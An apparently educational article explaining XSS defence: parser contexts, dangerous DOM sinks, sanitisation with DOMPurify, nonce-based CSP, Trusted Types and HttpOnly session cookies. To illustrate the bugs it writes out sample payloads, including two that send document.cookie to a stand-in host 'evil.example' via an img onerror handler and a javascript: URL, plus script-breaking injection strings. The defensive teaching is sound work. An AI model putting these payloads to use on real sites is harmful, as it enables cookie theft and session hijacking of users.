How XSS Defense Actually Works
Try the interactive lab for this articleTake the quiz (6 questions · ~5 min)Cross-site scripting is a boring name for a very precise failure: the browser stops treating attacker-controlled bytes as data and starts treating them as instructions. That can happen in the HTML parser, in the JavaScript parser, in the CSS parser, in URL handling, or in a framework escape hatch that hands raw markup back to the browser. Once you look at the problem that way, most good defences stop looking like security magic and start looking like type safety for the browser.
That framing matters because teams still talk about XSS as if it were a single bug class solved by a single product. It is not. A strict Content Security Policy helps a lot, but it does not make unsafe HTML insertion safe. DOMPurify helps a lot, but it does not validate whether a javascript: URL should ever have been accepted in the first place. React escapes text by default, but dangerouslySetInnerHTML exists, and template literals in inline scripts still exist, and the browser will happily execute whatever the page hands it if the page crosses the code-data boundary in the wrong place.
This article is about that boundary. We are going to walk through the browser contexts where XSS happens, the APIs and framework features that are actually dangerous, the layers that contain the damage, and the failure modes that keep causing real incidents in production. The goal is not to memorise a cheat sheet. The goal is to be able to look at any data flow from a user or a database into a page and say, with confidence, whether the browser will parse it as text, markup, script, style, or navigation.
The Real Object You Are Defending
If a user writes a forum post that says <b>Hello</b>, your application has a choice. It can treat those characters as plain text and render the literal angle brackets. Or it can hand them to the browser as HTML and ask the parser to construct DOM nodes from them. That is already the whole XSS problem in miniature.
Browsers are parser stacks. The HTML parser tokenises markup and builds a DOM tree. Attribute parsers interpret values differently depending on the attribute name. CSS parsers turn strings into selectors, properties, and URL fetches. JavaScript parsers build executable syntax trees. URL handling code interprets schemes such as https:, mailto:, and javascript:. A modern frontend crosses between those parsers constantly.
The first security question is always: which parser will see this value next?
Consider a simple comment feed.
<li class="comment">Hello from Sofia</li>If the application inserts the comment with a safe text API, the browser creates one text node. If it inserts the same bytes through an HTML sink, the browser runs the HTML parser over those bytes. That difference is everything.
// Safe for plain text
commentEl.textContent = userComment
// Dangerous if userComment is untrusted
commentEl.innerHTML = userCommentIf userComment contains this payload:
<img src=x onerror="fetch('https://evil.example/steal?c=' + document.cookie)">then textContent renders harmless text, while innerHTML creates an img element and gives the browser a real event handler to execute.
It is tempting to describe this as "the browser executed the string". That is close, but not quite right. The browser executed the result of parsing the string in a context that allowed active behaviour. XSS defence works when you control that parsing context deliberately instead of accidentally.
Why Context Is The Entire Game
Developers often hear "escape untrusted input" and mentally file it under a single universal function. That idea survives because it feels tidy. The browser does not work that way.
This HTML body context:
<p>{{userName}}</p>needs one set of transformations. An attribute context needs another.
<a title="{{userName}}">profile</a>A JavaScript string context is different again.
<script>
const name = "{{userName}}"
</script>And a URL-bearing attribute is different from both.
<a href="{{profileUrl}}">visit profile</a>The characters that are dangerous change with the parser. In HTML text, < and & are the first problem. In an attribute value, quotes matter. In a JavaScript string, backslashes, quotes, line terminators, and the closing </script> sequence matter. In a URL, the scheme matters, because a value that starts with javascript: is not a navigation target you should ever pass through unchanged.
This is why context-specific encoding is not bureaucratic pedantry. It is a direct consequence of the browser having multiple grammars.
Take this server-side template as an example:
<script>
const user = {
city: '{{city}}',
name: '{{name}}'
}
</script>If name is Eleni, nothing breaks. If name is "}; alert(1); //, you have just turned a data field into executable code unless the template system is doing JavaScript-string-safe encoding. If name is </script><script>alert(1)</script>, the HTML parser closes the original script block before the JavaScript engine even gets a say.
A correct fix is not "escape the angle brackets somewhere upstream and hope for the best". A correct fix is to stop constructing JavaScript source by string concatenation. Put the data in JSON or a data-* attribute, then parse it.
<script type="application/json" id="boot-user">
{"city":"Athens","name":"Eleni"}
</script>
<script nonce="{{nonce}}">
const user = JSON.parse(document.getElementById('boot-user').textContent)
</script>That example shows a pattern you will see repeatedly in good XSS defence: instead of trying to teach one parser not to misread attacker input, remove the need to involve that parser at all.
What Framework Auto-Escaping Really Buys You
Modern frontend frameworks did not eliminate XSS. They eliminated one very specific and very common XSS footgun: naive string interpolation into HTML.
React, Vue, Svelte, Angular, Django, Jinja2, Rails ERB, Phoenix HEEx, and similar systems all default to treating interpolated values as text, not markup. That means a component like this is safe by default:
export function Comment({ body }: { body: string }) {
return <p>{body}</p>
}If body contains <img src=x onerror=alert(1)>, React creates a text node. No HTML parse. No handler execution. That default is one of the biggest practical security improvements the web stack ever got.
But it only protects the places where you stay inside the safe abstraction.
The escape hatches are the part that matters in review:
- React:
dangerouslySetInnerHTML - Vue:
v-html - Angular:
bypassSecurityTrustHtml,bypassSecurityTrustUrl, and friends - Svelte:
{@html ...} - Lit:
unsafeHTML - server templates that mark strings as safe or raw
The names help, but they do not stop people using them. They just document that the framework has handed responsibility back to you.
There is a second limitation that matters just as much. Framework auto-escaping usually protects HTML text insertion. It does not automatically make every browser sink safe. A framework can stop this:
<div>{comment}</div>from becoming active HTML. It cannot decide whether your code should trust this:
<a href={userSuppliedUrl}>Visit</a>If userSuppliedUrl is javascript:alert(1), the problem is not HTML parsing. The problem is that you have accepted an unsafe scheme into a navigation sink. Different frameworks make different choices here. Angular has long sanitised some URL contexts. React mostly passes values through and relies on the developer not to build dangerous patterns around them. Either way, you cannot outsource the whole threat model to the component system.
The practical rule is simple: auto-escaping buys safety for normal text rendering, not a general amnesty for every DOM write.
The Browser Sinks That Deserve Fear
When experienced reviewers hunt XSS, they do not search for the word "xss". They search for the places where a string can cross into an active browser context. These are called sinks, and they are more useful than payload taxonomy because they tell you where to look in code.
The obvious HTML sinks are still the obvious HTML sinks:
innerHTMLouterHTMLinsertAdjacentHTMLdocument.writeRange.createContextualFragmentiframe.srcdocDOMParser.parseFromString(..., 'text/html')followed by insertion
Any of these can turn a hostile string into DOM nodes. If the hostile string contains active elements, inline event handlers, or dangerous URLs, the browser gets an opportunity to execute something.
Then there are script execution sinks:
evalnew FunctionsetTimeout('string')setInterval('string')- dynamic
scriptelement creation from untrusted sources
These are worse than HTML sinks because they are direct code execution primitives. In 2026, most teams know not to write eval(userInput). They still accidentally build moral equivalents with template compilers, ad-hoc expression languages, or JSONP-era patterns that should have died years ago.
Attribute and navigation sinks matter too:
element.href,location,window.openwith untrusted URLssrc,srcset,action,formAction,poster, and similar URL-bearing attributes- inline event attributes like
onclick,onerror,onload
The subtlety here is that the browser behaviour depends on the attribute, not just the fact that it is an attribute. title is text. href is navigation. style is CSS. onclick is JavaScript. You cannot solve those with one blanket rule.
Here is a common production mistake that survives framework migrations because it looks harmless.
function ProfileLink({ url }: { url: string }) {
return <a href={url}>Open profile</a>
}If the backend stores arbitrary website URLs from user profiles and never validates them, an attacker can save:
javascript:fetch('https://evil.example/steal?c=' + document.cookie)and every user who clicks that profile link executes attacker-controlled script in your origin. This is still XSS, even though no innerHTML is involved.
The right control is not an HTML sanitiser. The right control is URL policy.
function safeProfileUrl(input: string): string | null {
try {
const url = new URL(input)
if (url.protocol !== 'https:' && url.protocol !== 'http:') return null
return url.toString()
} catch {
return null
}
}That is the larger lesson. Good XSS defence does not start with payloads. It starts with a catalogue of dangerous sinks and a type of value each sink is allowed to receive.
What A DOM-Based XSS Bug Looks Like On The Wire
Stored and reflected XSS get most of the attention because the malicious payload is visible in an HTTP response somewhere. DOM-based XSS is different. The server may never emit executable markup at all. It may return JSON, query-string data, fragment identifiers, or postMessage payloads, and the browser-side code turns that data into execution later.
That distinction matters operationally because server-side scanners, WAF signatures, and log review can miss the whole exploit path.
Here is a realistic example from a client-side search page.
const params = new URLSearchParams(location.search)
const q = params.get('q') ?? ''
resultsTitle.innerHTML = `Results for ${q}`The request looks harmless:
GET /search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E HTTP/1.1
Host: app.exampleThe response may also look harmless:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<div id="results-title"></div>
<script nonce="...">/* app bundle */</script>Nothing in the raw HTML response contains the payload. The payload lives in location.search, the frontend reads it, and one unsafe innerHTML assignment turns it into DOM nodes after the page loads.
The same pattern appears in several places modern teams rely on heavily:
- URL fragments used by SPA routers
postMessagepayloads from popups or iframes- JSON returned from internal APIs
- Markdown previews rendered entirely in the browser
- browser extension messages
localStoragevalues that were trusted because they were "already on the device"
The security question is still the same one: what parser sees the value next? The source changed, but the dangerous sink did not.
This is why mature XSS review often traces a full client-side data flow instead of inspecting templates only.
- Which browser-controlled source produced the value?
- Which intermediate transforms touched it?
- Did any transform preserve it as plain text, or did one reinterpret it as HTML, URL, CSS, or script?
- Which sink finally consumed it?
If you want to make that reasoning mechanical, write it down as a type transition table.
| Value at this point | Allowed next step | Forbidden next step |
|---|---|---|
| untrusted text | textContent, createTextNode, HTML entity encoding in body text | innerHTML, inline script construction |
| untrusted URL string | scheme validation then assignment to URL sink | direct assignment to href, src, action |
| untrusted rich HTML | sanitiser then TrustedHTML policy | direct string insertion into HTML sink |
| server JSON field | parse as data and render through safe templating | template splice into executable source |
Seen this way, DOM-based XSS is not an exotic sub-species. It is the same browser type error moved later in time. The parser boundary sits in the JavaScript runtime instead of in the server template.
That also changes how you test. A proxy that only inspects responses may miss the issue. A unit test that asserts the API returns JSON safely may also miss it. The thing you need to exercise is the browser code path that reads the data source and writes to the sink. For a search page that means opening /search?q=..., not just calling the backend search route in isolation.
One more practical consequence follows from this. CSP reports can sometimes tell you a DOM-based XSS path exists even when server logs look clean. If the frontend assigns hostile HTML to innerHTML and the resulting payload tries to execute an inline handler or injected script, the browser may emit a CSP violation report even though the response body never contained the payload. That report is a clue that the dangerous step happened in client-side code after page load.
Teams that understand this distinction usually get faster at fixing the real problem. They stop debating whether the bug was stored, reflected, or DOM-based as a matter of category, and instead ask the useful engineering question: where did data stop being data?
Output Encoding Is Still The First Layer
The oldest XSS defence advice remains correct because the browser still works the same way: encode untrusted data for the output context it enters. That advice sounds old-fashioned only because frameworks now perform the most common form of it automatically.
If you are rendering plain text into HTML body content from a server-side template, HTML entity encoding is correct:
<script>alert(1)</script>Now the browser sees text, not markup.
If you are placing untrusted text inside an attribute, the encoding rules need to stop quote breaking. If you are embedding data into JavaScript, the correct answer is usually not "find a better JavaScript escaper" but "do not inline JavaScript data this way at all". Put the data in JSON, or let the framework hold it in a variable rather than in source code.
Encoding does have limits, and those limits explain many of the mistakes teams make.
First, encoding is only useful if you know the destination context. Encoding HTML entities does not make a javascript: URL safe. Encoding a string for HTML does not make it safe inside a CSS url() function or inside an inline script. If the context is wrong, the protection is wrong.
Second, encoding is not a good model for rich HTML features. If your product genuinely allows rich text, such as formatted knowledge base articles or admin-authored snippets, you cannot entity-encode the whole thing because then you lose the feature. In that case you need a sanitiser, which is a different control with a different set of failure modes.
Third, encoding only helps at the point where the data becomes output. It does not help if dangerous HTML was already accepted, stored, and later re-used in different contexts. A stored XSS bug often happens because someone decided three years ago that "the CMS stores HTML" and nobody wrote down which tags, attributes, and protocols were supposed to be legal. Every new renderer later inherits that decision whether it wants to or not.
In practice, teams do best when they use encoding as a local invariant. Untrusted text goes to text-only sinks. If it must cross into a parser, the code doing that crossing should be rare, reviewed, and very explicit about why.
Sanitisation: Necessary, Fragile, And Easy To Misuse
Sanitisation exists for the cases where the product really does need to accept HTML, not just text. A support article editor, a CMS block, a WYSIWYG email template, or a rich-text comment system all need something more nuanced than entity encoding.
A sanitiser does not escape everything. It parses markup, removes or rewrites dangerous constructs, and emits a reduced form that is meant to be safe to render. In the browser world, DOMPurify became the default answer because it understands real HTML parsing behaviour instead of trying to do security with regular expressions.
That difference is not academic. A proper sanitiser needs to understand nested elements, browser-specific parsing rules, SVG and MathML namespaces, URL protocols, event attributes, and mutation behaviour after insertion. The historical graveyard of XSS bugs is full of home-grown sanitisation attempts that did some version of this:
html = html.replace(/<script.*?>.*?<\/script>/gi, '')That code removes one obvious string pattern and misses almost everything that matters.
A sane rich-text path looks more like this:
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userHtml, {
ALLOWED_TAGS: ['p', 'b', 'i', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false,
})Even then, you are not done. There are four operational rules that separate a real sanitisation deployment from theatre.
First, sanitise as close as possible to the actual sink, or store both raw and sanitised forms with very clear ownership. Teams get into trouble when they sanitise once in one service, then later a different service renders the original unsanitised copy because it needed "the source version" for editing. If both copies exist, name them honestly and document which one may ever be sent to the browser.
Second, define the allowed subset as a product decision, not an accidental side effect of library defaults. If marketing only needs paragraphs, links, bold text, and lists, do not silently permit SVG, style, or data attributes because the default config happened to leave them in.
Third, keep the sanitiser patched. DOMPurify has had bypasses fixed over the years, as every serious sanitiser has, because browsers evolve and the attack surface is large. A sanitiser is security-critical code that depends on parser behaviour. It does not belong on the "upgrade next quarter" pile.
Fourth, remember that sanitisation is about markup structure, not business policy. It can strip onerror, but it cannot decide whether a profile link should point to https://museum.example or whether users should be allowed to embed third-party iframes at all. Those are separate controls.
One more subtle failure mode deserves mention because it surprises otherwise good teams: sanitise-then-mutate. Suppose you sanitise some HTML, insert it safely, and then another library walks the inserted DOM and adds attributes or reparses bits of it with innerHTML again. That second step can undo the guarantees the sanitiser gave you. Sanitisation is not a magical property attached to the string forever. It is a statement about that exact parsed representation under those exact rules.
CSP Is A Containment Layer, Not A Licence To Be Sloppy
Content Security Policy is the browser-level layer people either overrate or underrate. It is excellent, but it does a different job from safe templating and sanitisation.
A strong CSP tells the browser which scripts are allowed to execute. In the modern model that means nonce-based or hash-based script authorisation, no unsafe-inline, no unsafe-eval, and preferably strict-dynamic for loader chains.
A strong starting point often looks like this:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
require-trusted-types-for 'script';
report-to csp-endpoint;The nonce is the important part. The server generates a fresh unpredictable value for each response and attaches it to every script tag it intentionally emits.
<script nonce="r4nd0m-Base64-Value">
window.__BOOT__ = { city: 'Berlin' }
</script>Now if an attacker injects a new <script> element, it does not have the nonce and the browser refuses to run it.
That is powerful. It blocks a large class of exploit outcomes, including many stored and reflected XSS payloads built around script tags or inline handlers. It also gives you telemetry when you deploy Content-Security-Policy-Report-Only first and inspect the violation reports.
But CSP is not a substitute for fixing the source bug.
If your application uses innerHTML unsafely, a strict CSP may prevent some payloads from achieving code execution, but the DOM is still attacker-controlled. That can still mean UI redress, fake login prompts, phishing overlays, form field rewriting, data exfiltration through non-script mechanisms, or future code execution the moment somebody weakens the policy. Security teams that treat CSP as an excuse to tolerate unsafe sinks are borrowing trouble.
There are also implementation traps that keep recurring.
unsafe-inlinelargely defeats script injection protection.unsafe-evalkeeps whole classes of gadget chains alive.- host allowlists like
script-src https://cdn1.example https://cdn2.examplelook good on paper but become sprawling attack surfaces in practice. - static nonces reused across responses are not nonces.
- build systems that inject inline scripts without wiring nonce propagation correctly break the model.
The strongest CSP deployments are the ones that treat the policy as an execution allow-list for code they already intended to run. The policy is not trying to recognise badness. It is trying to say yes to a very small set of known-good scripts and no to everything else.
Trusted Types Turn Unsafe Sinks Into Typed APIs
Trusted Types is the browser feature that most closely matches how experienced frontend security engineers already think. Instead of hoping every developer remembers that innerHTML is dangerous, Trusted Types lets the browser demand that dangerous sinks receive a special object type rather than an arbitrary string.
With require-trusted-types-for 'script' enabled, assignments like these are blocked in supporting browsers:
element.innerHTML = userHtml
script.src = dynamicUrlunless the value came from a Trusted Types policy. In practice, that policy is where you centralise sanitisation or other validation logic.
const policy = trustedTypes.createPolicy('app-html', {
createHTML(input) {
return DOMPurify.sanitize(input)
},
})
content.innerHTML = policy.createHTML(userHtml)That looks small, but the effect on a large codebase is enormous. It turns dozens of scattered sinks into a single reviewable choke point. The moment a developer tries to introduce a new raw innerHTML assignment, the browser complains. During rollout you can deploy it in report-only mode, gather violations, and work through the backlog instead of doing a blind big-bang migration.
Trusted Types does have limits, and it is worth stating them plainly.
First, support is still strongest in Chromium-based browsers. Chrome and Edge are the main production targets. Firefox and Safari have historically lagged here. That makes Trusted Types a superb defence-in-depth layer for many audiences, but not a reason to skip the underlying safe coding rules.
Second, it only helps with covered sinks. It does not validate business rules around whether a link should be allowed, and it does not solve server-side template injection or non-browser consumers of the same data.
Third, it is only as good as the policy you write. A policy that simply returns the input string is security theatre with nicer branding.
Still, among browser-side defences, Trusted Types is one of the rare mechanisms that changes developer behaviour structurally rather than by training alone. It turns "please remember not to do that" into a runtime-enforced contract.
Reducing The Blast Radius When Something Gets Through
No serious team assumes every XSS bug will be prevented forever. Real defence means containing the damage when one slips through.
The first containment decision is credential storage. If your session lives in localStorage, any successful XSS can usually read it and send it to an attacker immediately. If your session lives in an HttpOnly cookie, page JavaScript cannot read the raw token. That does not make XSS harmless. The attacker can still perform actions as the user inside the victim's browser while the page is live. But it changes the shape of the incident from "steal token, replay from anywhere for days" to "abuse the current session in this browser unless other controls stop it".
That is a major reduction in blast radius.
A sane session cookie in 2026 should usually look like this:
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/Secure keeps it off plaintext HTTP. HttpOnly keeps it out of page JavaScript. SameSite=Lax helps with CSRF on the side. If you can use SameSite=Strict without breaking legitimate cross-site flows, even better.
The second containment decision is privilege architecture. If one XSS in the main app origin gives access to internal admin tools, invoice exports, and payment flows because everything is served from the same cookies and the same origin, the bug becomes a company-wide problem. Splitting high-risk surfaces onto separate origins, separate cookies, or separate authentication ceremonies is not flashy work, but it limits what one browser-compromise primitive can reach.
The third containment decision is whether your application exposes dangerous browser capabilities to normal pages unnecessarily. Can arbitrary content trigger money movement? Can every logged-in page access support impersonation tools through the same session? Can a help-centre editor reach internal GraphQL operations it never needs? XSS severity is always multiplied by ambient privilege.
Then there is telemetry. A strict CSP with reporting gives you one signal. Trusted Types reports give you another. Server-side anomaly detection on sensitive actions can add more: sudden mass form submissions, impossible navigation sequences, or bursts of account-setting changes from one session. None of that replaces prevention, but it shortens dwell time.
It is also worth being precise about what XSS still can do even with HttpOnly cookies. The attacker may not steal the cookie value, but they can still issue authenticated fetch requests from the victim page, read same-origin responses that the page can read, scrape CSRF tokens from the DOM if you expose them there, and act with the user's full UI permissions until the session ends. HttpOnly is containment, not immunity.
The Failure Modes That Keep Breaking Good Intentions
Many XSS incidents now happen in applications where somebody believed they were already following best practice. The gap is usually one of these failure modes.
Rich Text Without A Clear Trust Boundary
A product allows "formatted content" and nobody writes down who may author it, what markup subset is legal, whether it is sanitised on input or on output, or whether admins and users share the same rendering pipeline. Six months later, the marketing CMS, support macros, and user comments are all pushing HTML through the same component and nobody can explain which copy is trusted.
Safe Framework, Unsafe Escape Hatch
The core app uses React or Vue correctly, but one feature needs highlighted search results, embedded help snippets, or a Markdown preview. Someone reaches for dangerouslySetInnerHTML, wires a sanitiser inconsistently, and the entire application now depends on that one code path being perfect forever.
URL Validation Forgotten
Teams focus on <script> and forget that href, src, action, srcdoc, and formAction are also active contexts. A payload does not need to look like markup to be dangerous if the browser will execute the scheme or fetch the origin.
Sanitiser Drift
The sanitiser config starts strict, then exceptions accumulate: allow inline styles for one campaign, allow iframes for one embed provider, allow data attributes for one analytics widget. Two years later the allow-list reflects a sequence of support tickets rather than a deliberate security boundary.
CSP That Looks Strong But Is Not
A dashboard shows "CSP enabled" as green, but the actual header contains unsafe-inline, a reused nonce, or a host allow-list broad enough to authorise half the internet. This is the browser-security equivalent of a firewall rule set that ends with "allow any any".
Client-Side Only Thinking
The frontend sanitises something before display, but the API still stores raw hostile HTML and returns it to mobile clients, exports, admin tools, PDF renderers, or email templates. The web UI looks safe. The system is not.
Third-Party Widget Creep
A page pulls in chat widgets, analytics tags, A/B test loaders, and consent managers from multiple external domains. Even if none is actively malicious, each expands the script trust boundary. A strict CSP becomes harder to maintain, and a supply-chain incident at one vendor can collapse the whole model.
Failure analysis is useful because it points to process as much as code. XSS prevention is less about genius payload knowledge than about refusing to let dangerous flows become normal.
How To Review A Real Codebase For XSS Risk
A decent XSS review is not a hunt for clever payloads first. It is an inventory exercise.
Start with sink discovery. Search the frontend for:
innerHTMLouterHTMLinsertAdjacentHTMLdangerouslySetInnerHTMLv-html{@htmlsrcdocevalnew FunctionsetTimeout(with string arguments- URL assignments such as
href =,location =,window.open(,action =
Then classify each occurrence.
- What value reaches the sink?
- Where did that value originate?
- Is it plain text, URL, or intended HTML?
- What parser sees it next?
- What exact control is supposed to make it safe?
If the answer to question five is "React escapes it somewhere" but the sink is dangerouslySetInnerHTML, the review is already done. The safety claim is false.
For server-rendered pages, inspect templates that inline data into scripts, styles, and attributes. Template code that looks tidy in HTML can still be wrong because the next parser is JavaScript.
For rich text, trace the lifecycle end to end. Input editor, API storage, sanitisation point, renderer, later transformations, email export, PDF export, search index snippet, admin preview. XSS often hides in the second consumer, not the first.
For CSP, look at the real header on the wire, not the architecture diagram. Is the nonce fresh per response? Are inline event handlers blocked? Does the build pipeline propagate the nonce into every first-party script tag? Are reports being collected anywhere useful?
For Trusted Types, run in report-only mode and sort the violations by source file. The report list is often the fastest map of a legacy DOM sink backlog you will ever get.
And when you do use payloads, use them to verify a theory about a context, not as a cargo cult ritual. A payload that proves unsafe innerHTML is useful because it confirms the parser boundary you already identified.
A Practical Deployment Order That Works In Production
Teams sometimes freeze when they hear the full layered answer because it sounds like too many moving parts. The fix is to deploy in the right order.
First, remove or reduce dangerous sinks. Replace raw HTML insertion with text APIs where the feature allows it. Validate URLs at the point of assignment. Stop building inline JavaScript with string concatenation.
Second, for the places where HTML is truly required, centralise sanitisation. One reviewed library, one explicit allow-list, one ownership model for raw versus sanitised content.
Third, move sessions and other bearer credentials into HttpOnly cookies if you are still exposing them to page JavaScript without a hard reason.
Fourth, deploy CSP in report-only mode, fix the violations, then enforce a nonce-based policy without unsafe-inline.
Fifth, add Trusted Types in report-only mode, fix the sink violations, then enforce where browser support makes it valuable for your audience.
Sixth, build review and test discipline around the remaining exceptions. Every allowed raw HTML path should feel slightly annoying to introduce. That is healthy.
This order matters because each layer assumes something about the one below it. CSP is easiest to deploy after you have already removed accidental inline script patterns. Trusted Types is easiest after you know where the real sinks are. Containment helps most after you have already reduced the number of places an attacker can gain execution.
The companion lab for this article makes that sequence visible with one hostile string moving through different sinks and guardrails. The companion quiz checks whether you can tell which layer is doing what. If those three pieces leave you with one durable habit, it should be this one: every time data approaches the browser, ask which parser sees it next and what exact type of value that parser should be allowed to consume.
XSS Defence Is Really About Preserving Types Across A Hostile Boundary
The web platform is permissive by design. A browser will happily turn strings into markup, markup into DOM, DOM into script execution opportunities, URLs into navigations, and inline handlers into code. That flexibility is why the platform is powerful. It is also why XSS has survived every framework generation.
The durable fix is not a slogan. It is a discipline.
Treat untrusted text as text.
Treat URLs as values with allowed schemes, not arbitrary strings.
Treat rich HTML as a dangerous feature that requires a proper parser-aware sanitiser and explicit ownership.
Treat browser execution with a default-deny mindset through CSP and, where possible, Trusted Types.
Treat session design as part of XSS defence because blast radius matters as much as prevention.
Once you internalise that model, XSS stops feeling like an endless zoo of weird payloads and starts feeling like a tractable engineering problem. You are preserving types across parser boundaries. When the type contract holds, the browser does the safe thing by construction. When it breaks, the browser does exactly what you accidentally asked it to do.